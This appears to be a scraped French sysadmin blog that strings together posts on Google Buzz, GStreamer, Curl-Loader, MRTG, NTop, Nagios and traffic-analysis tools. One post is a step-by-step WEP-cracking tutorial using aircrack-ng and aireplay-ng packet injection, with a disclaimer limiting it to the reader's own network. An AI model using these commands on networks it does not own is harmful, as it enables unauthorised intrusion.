Je dois avouer que le dernier service Google (Buzz pour ne pas le citer) m'a légèrement échauffé les oreilles. De retour de congés, le lien Buzz est apparu dans ma messagerie personnelle Gmail. De plus des mails (tagués Buzz) étaient envoyés automatiquement, un comble !

Pourquoi Google n'a pas fait comme d'habitude en proposant cette nouvelle fonction dans les Labs ? L'aspect intrusif de Buzz dans ma messagerie est pour moi insupportable. Je ne suis manifestement pas le seul et devant le tollé général, Google a fait machine arrière et devrait proposer dans les prochains jours (d'abord au US puis ensuite en France et dans le reste du monde) une option pour désactiver Buzz.

Mon système de micro-blogging restera Twitter et Identica, je continuerai cependant à utiliser Gmail pour ma messagerie personnelle, n'ayant rien trouvé de mieux (souplesse, rapidité, stabilité...)

Et vous , quel est sont vos réactions vis à vis de la mise en place de Buzz ?

Les réseaux Wifi envahissent notre quotidien. Force est de constater les techniques de protection de ces réseaux ont fait un bon en avant ces dernières années: WEP, WPA, WPA2... Cependant, il existe des solutions logicielles pour contourner ces protections. Nous allons en aborder quelques unes dans ce billet.

Attention: Je  décline toute responsabilité concernant l'usage de ce tutoriel par des personnes mal intentionnées. Je vous rappelle qu'il est formellement interdit de s'introduire sur un réseau sans l'accord de son propriétaire. Si vous souhaitez tester cette procédure, il est donc conseillé de le faire sur votre réseau Wifi et pas sur celui du voisin

Crack de réseau Wifi WEP avec AirCrack-NG

Le principe est de capturer du trafic Wifi puis d'analyser le contenu de la capture pour y trouver le mot de passe WEP. Nous allons utiliser la suite logicielle AirCrack-NG (disponible sous GNU/Linux et Windows).

Installation de Aircrack-NG

Sur une distribution GNU/Linux Ubuntu, l'installation se résume à la ligne de commande suivante:

sudo aptitude install aircrack-ng

Capture du trafic Wifi

On commence par activer le "monitoring" sur l'interface Wifi (wlan0) dans mon cas:

sudo airmon-ng start wlan0
Interface  Chipset    Driver
wlan0    Intel 4965/5xxx  iwlagn - [phy0]
(monitor mode enabled on mon0)

Cette première commande va créer l'interface virtuelle mon0, sur laquelle on va capturer le trafic Wifi. Avant de lancer la capture, il faut sélectionné le channel ID (réseau Wifi):

sudo airodump-ng mon0

Cette commandes va afficher les réseau Wifi disponibles:

 CH 10 ][ Elapsed: 16 s ][ 2010-01-12 14:18                                         

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID                 

 00:80:48:4F:2E:C4  -55       28        0    0   1  54 . OPN              WifiDeTest             

 BSSID              STATION            PWR   Rate    Lost  Packets  Probes                      

 (not associated)   00:22:FA:FE:B5:6E  -72    0 - 1     30       10  

On peut voir que le réseau (ESSID) WifiDeTest est associé au channel (CH) 1 avec l'adresse MAC (BSSID) 00:80:48:4F:2E:C4. Notre PC effectuant l'attaque à comme addresse MAC (STATION) 00:22:FA:FE:B5:6E.

On peut ensuite capturer le trafic de ce channel spécifique, le résultat de la capture sera enregistré dans un fichier dont le préfixe commencera par dump:

sudo airodump-ng --encrypt WEP -c 1 -w dump -i mon0

Injection de trafic dans le réseau

Afin d'accélérer la phase précédente, il est judicieux d'injecter du trafic afin que la capture ait une taille conséquente. Les actions suivantes sont donc à faire en parallèle de la capture (c'est à dire dans un autre terminal).

Nous allons dans un premier temps générer une attaque de type "fake authentification" sur le routeur Wifi. Cette étape est seulement nécessaire si un filtrage par @MAC est actif.

aireplay-ng -1 0 -e WifiDeTest -a 00:80:48:4F:2E:C4 -h 00:22:FA:FE:B5:6E

La syntaxe est la suivante:

aireplay-ng -1 0 -e ESSID -a BSSID -h STATION

On passe ensuite à l'injection du trafic, étape indispensable de ce hack:

aireplay-ng -3 -e WifiDeTest -a 00:80:48:4F:2E:C4 -h 00:22:FA:FE:B5:6E

Le résultat est un fichier dump-01.cap. Plus la capture sera longue (et donc ce fichier gros), plus Aircrack-NG aura de chance de cracker le mot de passe WEP. La documentation conseille une taille minimum de 500 Ko (il suffit de faire des "ls -alF" dans le répertoire pendant que la commande précédente tourne pour voir la taille du fichier). Quand vous voulez arrêter la capture, faire un CTRL-C dans la fenêtre.

Analyse du dump

On se retrouve donc avec un fichier dump-01.cap de 500 Ko ou plus. Pour en faire l'analyse et trouver le mot de passe WEP, il faut utiliser la commande:

aircrack-ng -b 00:80:48:4F:2E:C4 dump-01.cap

Ou 00:80:48:4F:2E:C4 est à remplacer par l'adresse BSSID fourni par la commande "sudo airodump-ng mon0".

On arrive au résultat suivant:

...

Key found: [ AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA:AA ]

Probability 100%

Il ne reste plus qu'à ce connecter "normalement au réseau WEP en utilisant cette clés !

Enfin on arrête le monitoring de l'interface:

On commence par activer le "monitoring" sur l'interface Wifi (wlan0) dans mon cas:

sudo airmon-ng stop wlan0

Conclusion

Comme vous pouvez le voir il est vraiment facile de cracker un réseau Wifi WEP, je vous conseille donc de ne pas utiliser ce type de protection sur votre réseau domestique et encore moins professionnel.

Crack de réseau Wifi WPA/WPA2 avec Pyrit

Contrairement à WEP, WPA et WPA2 demande beaucoup plus de ressource avant d'être cracker. C'est dans cette optique que le projet Pyrit a vu le jour: proposer un algorithme de crack des ce type de réseau Wifi en utilisant la puissance de votre GPU.

Voici une petit démonstration en vidéo:

Pour une procédure complète qui mélangent l'utilisation de AirCrack-NG (pour la capture et le filtrage du réseau à cracker) et Pyrit pour le hack par "brute-force", je vous conseille la lecture de ce forum ou de ce billet.

Nous allons dans ce billet essayer d'optimiser le streaming d'un flux SD sur un réseau local (LAN de 100 Mbps) en utilisant le framework GStreamer.

Environnement des tests

Deux PC Ubuntu connectés sur un même switch (100 Mbps full-duplex).

• PC serveur: Intel(R) Core(TM)2 Duo CPU P8400 @ 2.26GHz / 2 Go RAM
• PC client: Intel(R) Core(TM)2 Duo CPU E6750 @ 2.66GHz / 1 Go RAM

GStreamer version 0.10.25.

Vidéo source: Big Buck Bunny 480p

Tests avec le codec X.264

Ligne de commande sur la machine générant le streaming (serveur):

serveur> gst-launch -v \
        filesrc location="../Vidéos/big_buck_bunny_480p_stereo.ogg" \
        ! queue ! decodebin \
        ! queue ! videoscale method=1 ! video/x-raw-yuv,width=854,height=480 \
        ! queue ! videorate ! video/x-raw-yuv,framerate=\(fraction\)24/1 \
        ! queue ! x264enc byte-stream=true bitrate=2000 bframes=4 ref=4 me=hex subme=4 weightb=true threads=0 \
        ! queue ! rtph264pay \
        ! queue ! udpsink port=5000 host=192.168.29.150 sync=false async=false

Ligne de commande sur la machine recevant le streaming (client):

client> gst-launch -v udpsrc caps="application/x-rtp, media=\(string\)video, clock-rate=\(int\)90000, encoding-name=\(string\)H264, payload=\(int\)96" port=5000 \
 ! queue ! rtph264depay \
 ! queue ! ffdec_h264 ! xvimagesink

Résultat:
Visuel: vidéo saccadé (environ 2 img/sec)
Bande passante mesurée: entre 2 et 3 Mbps
Resource serveur: %CPU=135 / %MEM=5
Resource client: %CPU=10 / %MEM=2

On ajoute un buffer juste avant le depay et le décodage (au niveau du client):

client> gst-launch -v udpsrc caps="application/x-rtp, media=\(string\)video, clock-rate=\(int\)90000, encoding-name=\(string\)H264, payload=\(int\)96" port=5000 \
        ! queue ! gstrtpjitterbuffer latency=3000 \
        ! queue ! rtph264depay \
        ! queue ! ffdec_h264 ! xvimagesink

Résultat:
Visuel: vidéo beaucoup plus fluide mais variation de la gigue (accéleration de la video par moment). On a par contre un décalage de 3 secondes, donc inutilisable pour des flux lives.
Bande passante mesurée: entre 2 et 3 Mbps
Resource serveur: %CPU=140 / %MEM=6
Resource client: %CPU=14 / %MEM=2

On modifie ensuite les paramètres d'encodage X.264 (au niveau du serveur):

serveur> gst-launch -v --gst-debug-level=2 \
        filesrc location="../Vidéos/big_buck_bunny_480p_stereo.ogg" \
        ! queue ! decodebin \
        ! queue ! videoscale method=1 ! video/x-raw-yuv,width=720,height=480 \
        ! queue ! videorate ! video/x-raw-yuv,framerate=\(fraction\)24/1 \
        ! queue ! x264enc vbv-buf-capacity=3000 byte-stream=true bitrate=900 subme=4 ref=2 bframes=1 b-pyramid=true weightb=true \
        ! queue ! rtph264pay \
        ! queue ! udpsink port=5000 host=192.168.29.150 sync=false async=false

Résultat:
Visuel: Presque plus de sacade ni de variation de gigue. On a par contre un décalage de 3 secondes, donc inutilisable pour des flux lives.
Bande passante mesurée: entre 2 et 3 Mbps
Resource serveur: %CPU=120 / %MEM=4
Resource client: %CPU=10 / %MEM=2

Curl-Loader est un logiciel libre, écrit en langage C (le meilleur langage pour développer des applications réseaux), permettant de simuler sur votre serveur WEB ou FTP un grand nombre de connexions simultanées. Nous allons dans ce billet voir comment installer, configurer et tester ce logiciel dans un environnement GNU/Linux (Ubuntu 9.10 dans mon cas).

Installation de Curl-Loader

Comme il n'est pas encore (des volontaires ?) disponible dans les dêpots officiels, il va falloir compiler Curl-Loader à la main. Avant d'aller plus loin, on installe des pré-requis système:

sudo aptitude install build-essential openssl libssl-dev

On commence par récupérer la dernière version disponible (0.51 au moment de l'écriture de ce billet):

wget http://downloads.sourceforge.net/project/curl-loader/curl-loader/curl-loader-0.51/curl-loader-0.51.tar.gz?use_mirror=sunet

On décompresse et compile le tout:

tar zxvf curl-loader-0.51.tar.gz

cd curl-loader-0.51

make optimize=1

On finalise l'installation avec:

sudo make install

Configuration de Curl-Loader

Tout est centralisé dans un fichier de configuration. Quelques exemples de fichiers de conf sont fournis avec les sources dans le répertoire ./conf-exemples/.

Le plus simple est de partir du fichier ./conf-exemples/bulk.conf:

cp ./conf-exemples/bulk.conf ~/curlloader.conf

cd ~

On édite le fichier pour l'adapter à son besoin (documentation exhaustive disponible sur le site officiel) :

vi curlloader.conf

########### GENERAL SECTION ################################

BATCH_NAME= bulk

CLIENTS_NUM_MAX=200

CLIENTS_RAMPUP_INC=5

INTERFACE=eth0

NETMASK=24

IP_ADDR_MIN= 192.168.29.148

IP_ADDR_MAX= 192.168.29.148

IP_SHARED_NUM=1

CYCLES_NUM= 100

URLS_NUM= 1

########### URL SECTION ####################################

URL=http://www.monserveurweb.com/

URL_SHORT_NAME="MonServeurWeb"

REQUEST_TYPE=GET

TIMER_URL_COMPLETION = 5000

TIMER_AFTER_URL_SLEEP = 500

Utilisation de Curl-Loader

Attention à ne lancer Curl_Loader que vers un serveur qui vous appartient.
Dans le cas contraire, cela peut être considéré comme une attaque par dénie de service !

Il ne reste plus qu'a lancer Curl-Loader avec ce fichier de configuration:

sudo curl-loader -f ~/curlloader.conf

Que va faire l'exécution de Curl-Loader avec notre fichier de configuration ?

On commence un cycle en envoyant sur le réseau 5 (CLIENTS_RAMPUP_INC) requêtes simultanées vers le serveur Web d'URL http://www.monserveurweb.com/(URL), puis 1 seconde plus tard, 5 requêtes de plus et ainsi de suite jusqu'à 200 (CLIENTS_NUM_MAX) requêtes simultanées. A la fin de ce cycle, on continu jusqu'à attendre le 100em cycle (CYCLES_NUM).

A la fin du test on a les informations suivantes qui s'affichent:

Test total duration was 54 seconds and CAPS average 231:

H/F   Req:24665,1xx:0,2xx:12332,3xx:12333,4xx:0,5xx:0,Err:0,T-Err:1,D:1ms,D-2xx:3ms,Ti:1343807B/s,To:56181B/s

H/F/S Req:0,1xx:0,2xx:0,3xx:0,4xx:0,5xx:0,Err:0,T-Err:0,D:0ms,D-2xx:0ms,Ti:0B/s,To:0B/s

Exited. For details look in the files:

- bulk.log for errors and traces;

- bulk.txt for loading statistics;

- bulk.ctx for virtual client based statistics.

- bulk.ops for operational statistics.

Pour la le lecture des rapports, voici un petit mémento:

• CAPS=call attempts per seconds;
• run-time in seconds;
• requests num;
• 1xx success num;
• 2xx success num;
• 3xx redirects num;
• client 4xx errors num;
• server 5xx errors num;
• other errors num, like resolving, tcp-connect, server closing or empty responses number (Err);
• url completion time expiration errors (T-Err);
• average application server Delay (msec), estimated as the time between HTTP request and HTTP response without taking into the account network latency (RTT) (D);
• average application server Delay for 2xx (success) HTTP-responses, as above, but only for 2xx responses. The motivation for that is that 3xx redirections and 5xx server errors/rejects may not necessarily provide a true indication of a testing server working functionality (D-2xx);
• throughput in, batch average, Bytes/sec (T-In);
• throughput out, batch average, Bytes/sec (T-Out);

Après Firefox 3.6.5, c'est la version 3.7 qui prendra le relai des navigateurs Web de Mozilla.  Selon PC INpact, la principale nouveauté de cette version est l'intégration de la technologie d'Electrolysis:

" Electrolysis a pour objectif principal de permettre à Firefox l’utilisation de tous les cœurs disponibles dans la machine. La grande majorité des machines vendues aujourd’hui dispose d’au moins deux cœurs d’exécution, sinon quatre. Le navigateur ne peut en utiliser qu’un seul. Ainsi, lors de l’affichage de certaines pages, la charge peut grimper à 100 % et déclencher la pleine vitesse du ventilateur, en particulier dans un ordinateur portable."

Il est déjà possible de tester cette nouvelle version (qui est actuellement en développement) sous son système d'exploitation GNU/Linux Ubuntu en suivant la procédure suivante.

On commence par ajouter le dépôts PPA officiel (les "daily builds" de Mozilla):

sudo add-apt-repository ppa:ubuntu-mozilla-daily

sudo aptitude update

Ensuite on installe Firefox 3.7 (qui peut cohabiter avec des versions antérieures) avec la commande:

sudo aptitude install firefox-3.7

Il ne reste plus qu'a lancer le navigateur en allant dans le menu "Applications" (Internet/Minefield 3.7 Web Browser) ou en ouvrant un terminal et en lancant la commande:

firefox-3.7

Et voilà le travail !

Si vous suivez ce blog, vous devez sûrement connaitre Cacti, l'outil permettant de générer des graphes visualisation via une interface HTML/PHP. La solution, bien que simple à mettre en oeuvre nécessite quelques manipulations. Nous allons voir dans ce billet une autre solution beaucoup moins lourde et simple à mettre en oeuvre: MRTG. Nous nous limiterons à la génération de graphes représentant la bande passante des interfaces réseau mais l'on peut bien sûr "grapher" toutes les mesures récupérables via SNMP. La machine qui hébergera notre MRTG est sous Unbuntu 9.10 (mais la procédure est globalement la mêmes sur les autres distribution GNU/Linux).

Installation

sudo aptitude install mrtg

Création du répertoire Web

sudo mkdir /var/www/mrtg

Pour être propre, je vous conseille de créer un sous-répertoire par machine à superviser. Par exemple:

sudo mkdir /var/www/mrtg/A.B.C.D

Ajout d'une machine à superviser

Pour superviser le trafic de toutes les interfaces réseau de la machine d'adresse ip A.B.C.D (hébergeant un serveur SNMP configuré avec public comme utilisateur en lecture seule), il faut saisir la commande suivante:

cfgmaker --global 'WorkDir: /var/www/mrtg/A.B.C.D'  \
--ifdesc=descr \
--global 'Language: french'  \
--global 'Options[_]: bits,growright'  \
public@A.B.C.D > /var/www/mrtg/A.B.C.D/A.B.C.D.cfg

Les options permettent:

• de nommer les interfaces réseaux par leur description: --ifdesc=descr
• de passer l'interface de MRTG en Francais: --global 'Language: french'
• de mettre les graphes en bits/sec et de les dessiner de la droite vers la gauche: --global 'Options[_]: bits,growright'

Il est bien sur possible d'éditer le fichier de configuration (/var/www/mrtg/A.B.C.D/A.B.C.D.cfg) à la main, pour changer la configuration de MRTG.

Gérérer automatiquement les graphes

Il faut pour cela lancer automatiquement le binaire /usr/bin/mrtg toutes les 5 minutes. Nous allons donc créer un script SHELL que nous lancerons en utilisant la crontab.

vi /usr/local/bin/mrtgcron.sh

#!/bin/sh
# /var/www/mrtg/A.B.C.D
env LANG=C  /usr/bin/mrtg /var/www/mrtg/A.B.C.D/A.B.C.D.cfg

Puis on lui donne les droits en exécution:

chmod a+x /usr/local/bin/mrtgcron.sh

Et enfin, on programme la crontab (crontab -l) en ajoutant la ligne suivante:

*/5 * * * * /usr/local/bin/mrtgcron.sh

Il ne reste plus que 5 minutes à attendre avant de consulter ses graphe à l'URL suivante:

http://adresse_ip_serveur_mrtg/mrtg/A.B.C.D/

Création d'un fichier d'index pour votre site Web

Quand vous accédez à votre page Web MRTG, vous avez une liste de fichiers peu lisible. Heureusement, MRTG est fourni avec un utilitaire nommée indemaker permettant de générer un fichier index.html beaucoup plus "user/chief friendly".

Pour générer cet index sur notre répertoire A.B.C.D, il faut saisir la commande suivante:

indexmaker --title='MRTG - A.B.C.D'
--sort=descr \
--sidebyside /var/www/mrtg/A.B.C.D/A.B.C.D.cfg \
--output=/var/www/mrtg/A.B.C.D/index.html

Et voili, l'accès via l'URL http://adresse_ip_serveur_mrtg/mrtg/A.B.C.D est quand même plus sympathique...

Section spécial gros fainéants

Voici un petit script SHELL qui va vous simplifier la vie (enfin l'ajout de machine à superviser dans MRTG...):

#!/bin/sh

# mrtgadd.sh

# Ajout d'une machine a superviser

# Nicolargo - GPL

#

# Syntaxe: mrtgadd.sh <nom_de_la_machine> <adresse_ip_de_la_machine>

MRTGADD_DIR=/var/www/mrtg/$1

echo "Création du répertoire: $MRTGADD_DIR"

sudo mkdir $MRTGADD_DIR

MRTGADD_CFG=$MRTGADD_DIR/$1.cfg

echo "Génération de la configuration MRTG: $MRTGADD_CFG ($2)"

sudo cfgmaker --global "WorkDir: $MRTGADD_DIR"  \

--ifdesc=descr \

--global 'Language: french'  \

--global 'Options[_]: bits,growright'  \

public@$2 > $MRTGADD_CFG

MRTGADD_CRONSCRIPT=/usr/local/bin/mrtgcron.sh

echo "Modification du script $MRTGADD_CRONSCRIPT"

sudo cp $MRTGADD_CRONSCRIPT $MRTGADD_CRONSCRIPT.old

sudo cat <<EOF >> $MRTGADD_CRONSCRIPT

# $MRTGADD_DIR

env LANG=C  /usr/bin/mrtg $MRTGADD_CFG

EOF

echo "Generation du fichier Index"

sudo indexmaker --title="MRTG - $1" \

--sort=descr \

--sidebyside $MRTGADD_CFG \

--output=$MRTGADD_DIR/index.html

Conclusion

MRTG est un bien bel outil dont pas mal de logiciel "webifier" se servent comme générateur de graphe. Il est simple et souple à installer et transparent à utiliser... Et vous êtes vous un fan de cet outil libre ?

• Wake on LAN depuis un PC Linux
• Configurer un serveur OpenVPN en 60 secondes grâce au script de Nigi Fabio
• Le guide ultime du crontab
• 10 extensions pour Chromium (sans big brother) et Google Chrome (avec big brother)
• Sauvergarder son compte Gmail avec Offlineimap
• OpenShot video, enfin un éditeur vidéo digne de ce nom libre sous Linux ?
• Des effets visuels CSS3 pour présenter vos images
• La version 5.2 de NMap vient de sortir avec pleins de nouveautés !
• Trisquel, une distribution GNU/Linux 100% libre !
• Supprimer le double tirets de Wordpress
• Un bien belle page sur le mode vidéo de HTML5

NTop est un outil libre (licence GPL) de supervision réseau permettant d'afficher en temps réel les informations collectées dans une interface Web. Pour effectuer cette collecte, NTop se base sur la librairie libpcap (du projet TCPDump) pour capturer les flux transitant sur les interfaces réseau de la machine ou est installé le logiciel. Les dernières versions de NTop permettent également de collecter des informations venant de machines distantes grâce aux protocoles SNMP et Netflow/IPfix. C'est sur ce dernier point que nous allons nous focaliser dans ce billet.

Un peu d'histoire

Ntop a été conçu par Stephano Suin et Luca Deri pour analyser les problèmes de performances qu’ils rencontraient sur le réseau du campus de l’université de Pise. Ce dernier est toujours dans l'équipe de développement. Après avoir rencontré quelques petits problèmes de sécurité, le projet Ntop semble reparti sur une belle dynamique avec notamment la mise en place d'un système de plugin permettant d'ajouter de nouvelles fonctionnalités au logiciel.

Installation de Ntop

On commence par installer ntop sur sa distribution GNU/Linux (exemple donnée pour distribution Ubuntu 9.04).

sudo aptitude install ntop

Le processus ntop utilisate le compte ntop (ou nobody selon les distribution), il faut donc penser à changer les droits du répertoire suivant avant de lancer ntop.

sudo chmod -R 777 /var/lib/ntop

On configure ensuite Ntop en éditant le fichier /var/lib/ntop/init.cfg:

sudo vi /var/lib/ntop/init.cfg
USER="ntop"
INTERFACES="eth0"

On configure le mot de passe du compte admin (pour l'accès à l'interface Web):

sudo /etc/init.d/ntop stop
sudo ntop -A "motdepassepouradmin"

Lancement de Ntop

On lance ensuite Ntop:

sudo /etc/init.d/ntop start

Par défaut l'interface Web de Ntop est lancé sur le port 3000. Il faut donc lancer un navigateur Web sur l'URL suivante: http://adresse-serveur:3000 ou adresse-serveur est l'adresse IP de la machine ou est installé Ntop.

Vous pouvez alors voir les statistiques réseau de votre interface Ethernet mais on peut aller bien plus loin avec Ntop...

Configuration de Ntop en collecteur Netflow/IPFix

Par défaut, Ntop surveille pour vous l'interface réseau de la machine sur lequel il est installé. Pour éviter d'avoir à installer plusieurs Ntop sur chacune des machines à superviser, vous pouvez utiliser le protocole Netflow qui va envoyer les mesures vers un collecteur central ou sera installé Ntop. Pour celà nous allons utiliser le plugin Netflow de Ntop.

On doit d'abord activer le plugin Netflow en se rendant dans le menu Plugins / Netflow / Active.

On ajoute ensuite une sonde Netflow à collecter en allant dans le menu Plugins / Netflow / Configure. Par exemple pour ajouter la sonde hébergée sur la machine al-firewall1(plage d'adresse IP 192.168.254.0/255.255.255.248, interface supervisée: em0) envoyant les mesures Netflow sur le port UDP/9990, il faut saisir les champs suivants:

On peut ensuite vérifier que les mesures sont bien remontées à Ntop en se rendant dans le menu Plugins / Netflow / Statistics:

Enfin pour voir les statistiques de cette interface Netflow (par défaut Ntop affiche les stats de l'interface par défaut de la machine), il faut se rendre dans le menu Admin / Switch NIC et sélectionner l'interface Netflow:

On peut alors facilement consulter les statistiques de cette machine à distance, comme la distribution protocolaire:

ou le débit réseau:

Si comme moi vous aviez laissé Ntop de coté, je pense qu'il est grand temps de lui donner une seconde chance !

• Analyse de flux VoIP (SIP/RTP) avec Wireshark
• Analyse de flux RTP avec Wireshark
• Configuration d'Apache2 en SSL et Virtual Host sous Ubuntu 9.10
• Un bel état de l'art sur les système de visioconférence
• Générer une palette de couleur à partir d'une image (service en ligne)

Voici une méthode simple rapide et efficace (enfin plus rapide à mettre en place que NRPE) pour surveiller l'espace disque disponible de ses machines Linux/BSD/Windows à partir de Nagios en utilisant le protocole SNMP.

Les pré-requis sont les suivants:

• avoir un Nagios correctement installé
• la machine à surveiller doit héberger un serveur SNMP dont la configuration permette au serveur Nagios de lire les informations (l'accès read-only v1/v2 de SNMP est suffisant)
• suivre la suite de ce billet

Configuration de la machine à surveiller

Après avoir installé et configuré son serveur SNMP, il faut ajouter la ligne suivante au fichier de configuration snmpd.conf (la localisation de ce dernier est os dépendant):

disk / 100000

PS: le deuxième paramètre permet de fixer le seuil en dessous duquel une alerte SNMP est remontée. Il n'est pas très important pour nous car c'est Nagios qui va générer cette alerte avec nos propres valeurs.

On doit bien sûr relancer le service snmpd pour lire la configuration, par exemple:

/etc/init.d/snmpd restart

Configuration du serveur Nagios

La première chose à faire est de vérifier que l'on arrive bien à récupérer les informations SNMP sur la machine à surveiller (d'adresse IP 192.168.0.200 dans notre exemple). Pour cela on peut utiliser la commande suivante:

snmpget -v 1 -c public 192.168.0.200 .1.3.6.1.4.1.2021.9.1.9.1
UCD-SNMP-MIB::dskPercent.1 = INTEGER: 32

La commande a réussi. On a bien récupéré la valeur 32 par SNMP. Donc On a 32% d'espace disque occupé sur le disque de la machine 192.168.0.200.

On configure Nagios de la manière suivante, on édite le fichier commands.cfg:

#################
# check_snmp_disk
#################

# Check free disk space using SNMP (add the "disk 1000000" line to the snmpd.conf)

define command{

command_name  check_snmp_disk

command_line  $USER1$/check_snmp -H $HOSTADDRESS$ -o .1.3.6.1.4.1.2021.9.1.9.1 -C $ARG1$ -w $ARG2$ -c $ARG3$ -u "% used"

}

Puis on configure le service pour la machine à surveiller (dans un autre fichier comme par exemple services.cfg):

define service{
use      generic-service
host_name               Ma_Machine_192.168.0.200
service_description   DISK SPACE
check_command     check_snmp_disk!public!90!95
}

La fonction check_snmp_disk prend 3 paramètres:

• le nom de la communauté SNMP (public)
• le seuil au dessus duquel un warning est généré par Nagios (90%)
• le seuil au dessus duquel un error est généré par Nagios (95%)

Il ne reste plus qu'a relancer Nagios pour prendre en compte la configuration !

Vous connaissez tous la “Quadrature du net”, cette association qui lute contre les lois menaçant nos libertés individuelles dans le monde numérique (notamment Hadopi, LOPPSI…). Comme toute assoc, elle a des frais que seule votre générosité peut combler…

La “Quadrature du net” lance donc une campagne de dons (via Paypal ou par chèque). Si vous êtes sensible à leurs actions, je vous recommande de donner quelques-uns de vos chers €uros…

A votre bon coeur…

Vive le libre, vive la liberté !

Nous allons dans ce billet étudier quelques outils réseaux open-source qui peuvent être utiles pour analyser un trafic sur un réseau IP (la liste est loin d’être exhaustive mais il est difficile de l’être vu le sujet). Cette analyse peut avoir pour but de caractériser un flux et notamment son débit, les délais de transit/gigue et les éventuelles corruptions de paquets.

Avant d’aller plus loin dans la description des ces outils, il est important de bien comprendre où l’analyse doit se faire. Les réseaux deviennent de plus en plus complexes et la détermination d’un point de capture cohérent est une première étape indispensable. En effet, si on se positionne à un endroit non approprié, on peut passer à coté de noeuds de congestions qui vont perturber les mesures.

Dans une architecture réseau classique composée d’un LAN (là ou se trouve vos postes clients), d’une liaison WAN (par exemple ADSL) et d’une plate-forme de service (là ou se trouve les serveurs, par exemple chez un hébergeur spécialisée), l’analyse peut se faire de deux manière différentes:

• soit en extrémité de réseau,  en analysant le trafic en sortie du LAN (avant le goulot d’étranglement que représente la liaison WAN),
  
• soit au coeur du réseau, en analysant avec des sondes le trafic sur toutes la chaine (en sortie du LAN et coté plate_forme de service). Plus le nombre de points d’analyses est important, plus l’analyse sera fine. Elle nécessite cependant l’installation de sondes sur des équipements que l’on n’administre pas forcement.
  

Analyse en extrémité de réseau

Nous avons vu que pour que cette méthode soit pertinente le choix du point d’analyse est important. Dans notre architecture, on peut soit la faire sur un PC mis en coupure entre le LAN et le routeur WAN (il faut que le PC soit configuré en mode bridge pour laisser passer tout les flux), soit directement sur le routeur si il tourne sur un système d’exploitation “libre” (GNU/Linux, BSD…).

tcpdump / wireshark / tshark

Ce sont des outils de capture et d’analyse d’une interface réseau. Le principe est simple: on lance le logiciel qui va capturer tout ce qui passe sur une interface (ou une sélection si on utilise un système de filtrage à la source). Ensuite, le résultat de la capture pourra être archivé (par exemple dans un fichier  de type libpcap) puis analysé.

tcpdump est la commande la plus standard que l’on peut trouver dans n’importe quel système d’exploitation digne de ce nom. Un tutoriel sur le sujet peut être trouvé ici.

WireShark (nouveau nom d’Ethereal) propose une interface graphique permettant de guider l’utilisateur dans les étapes de capture, filtrage et analyse. Issue d’une communauté très active, il propose également des plugins permettant d’analyser finement des flux spécifique (SIP / RTP / H.323 …). On peut facilement avoir des rapports graphiques ou textuel (distribution IP, bande passante, couche protocolaire…). Un tutoriel sur ce logiciel est disponible ici.

Si on ne se trouve pas dans un environnement graphique, le projet Wireshark propose un outil en ligne de commande qui s’appelle tshark et qui permet d’avoir les mêmes fonctions que tcpdump avec une présentation légèrement différente. La documentation est disponible ici (promis je fais un billet sur le sujet quand j’ai un peu de temps)…

Quelques commandes pour capturer/filtrer un trafic réseau

Capturer tout le trafic transitant par l’interface eth0 (-i) et la sauvegarde (-w) dans le fichier /tmp/captureXX.cap. Il faut faire un CTRL-C pour arrêter la capture:

# sudo tcpdump -i eth0 -w /tmp/capture01.dump
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
^C168 packets captured
168 packets received by filter
0 packets dropped by kernel
# sudo tshark -i eth0 -w /tmp/capture02.dump
Running as user "root" and group "root". This could be dangerous.
Capturing on eth0
116

Analyse en temps réel des paquets SIP (il existe aussi des options pour RTP, SMB, H.225…) et affichage des statistiques en fin de capture (après le CTRL-C):

# sudo tshark -i eth0 -z sip,stat

...

===================================================================
SIP Statistics
Number of SIP messages: 14
Number of resent SIP messages: 0
* SIP Status Codes in reply packets
SIP 401 Unauthorized    :     2 Packets
SIP 200 OK              :     2 Packets
SIP 481 Call/Transaction Does Not Exist :     1 Packets
SIP 100 Trying          :     4 Packets
* List of SIP Request methods
REGISTER        :     4 Packets
NOTIFY          :     1 Packets
* Average setup time 1701996919 ms
Min 1768173419 ms
Max 1918986355 ms
===================================================================

bmon / ifstat / vnstat / ntop / darkstat

Bmon est un logiciel permettant via un terminal texte (pas besoin d’interface graphique) de surveiller en temps réel le débit transitant sur ses interfaces réseaux. Une fois lancé, il suffit de se déplacer avec les touches haut et bas pour sélectionner l’interface à surveiller puis de cliquer sur les touche g et d pour afficher le graphique de charge et le détail. Un bon outil pour voir en un clin d’oeil le débit de ses liaisons Internet:

Dans le même genre, on peut également citer ifstat, il est assez basique mais efficace. Une fois lancé avec l’option (-b), il affiche toutes les interfaces (ou une interface sélectionnée avec l’option -i) et le débit instantané (avec 1 nouvelle ligne par seconde, ce temps étant paramétrable). Par exemple pour afficher le débit de l’interface eth0 toutes les 5 secondes en Kbps, il faut saisir la commande (ifstat -i eth0 -b 5):

Vnstat est également un outil permettant de surveiller la bande passante. En plus des fonctions de supervision temps réel que l’on peut trouver dans bmon et ifstat, il propose de stocker les informations dans une base de données, ce qui lui permet d’afficher des rapports et des graphes. Pour une description plus précise de Vnstat suivi d’une procédure d’installation et d’utilisation, vous pouvez lire ce billet.

NTop a été longtemps un logiciel que j’installai systématiquement sur mes routeurs IP (FreeBSD ou GNU/Linux). Malheureusement, des problèmes de performances et de sécurités m’ont fait petit à petit abandonner ce projet. Les dernières version (>3.0) semblent corriger ces défaut de jeunesse et NTop revient sur le devant de la scène avec des fonctionnalités sympathiques comme le fait d’intégrer un collecteur NetFlow. De plus la communauté Ntop semble très active, comme on peut le voir sur leur site et blog. Vous pouvez consulter ce (vieux) billet sur Ntop (j’en rédige un nouveau si il répond de nouveau à mes attentes).

Darkstat est le petit dernier, découvert grâce à un des blogs de Planet-Libre. Il permet comme Ntop d’accéder aux données récoltées par une interface Web. Il se focalise cependant sur les informations de type bande passante. Lors de mes tests sur une machien Ubuntu 9.10, j’ai constaté un accès trés lent à l’interface Web (sudo darkstat -i eth0 -p 666). A suivre donc.

Analyse en coeur de réseau

Dans ce chapitre, nous allons aborder de manière très superficielle (vous pouvez consulter ce billet sur Netflow pour un peu plus de détails). Le but est de réaliser des mesures sur plusieurs point de la chaine réseau. Pour cela on doit mettre en place des sondes sur les équipements. Ces sondes remontes les informations sur un collecteur. Afin on analyse les données collectées.

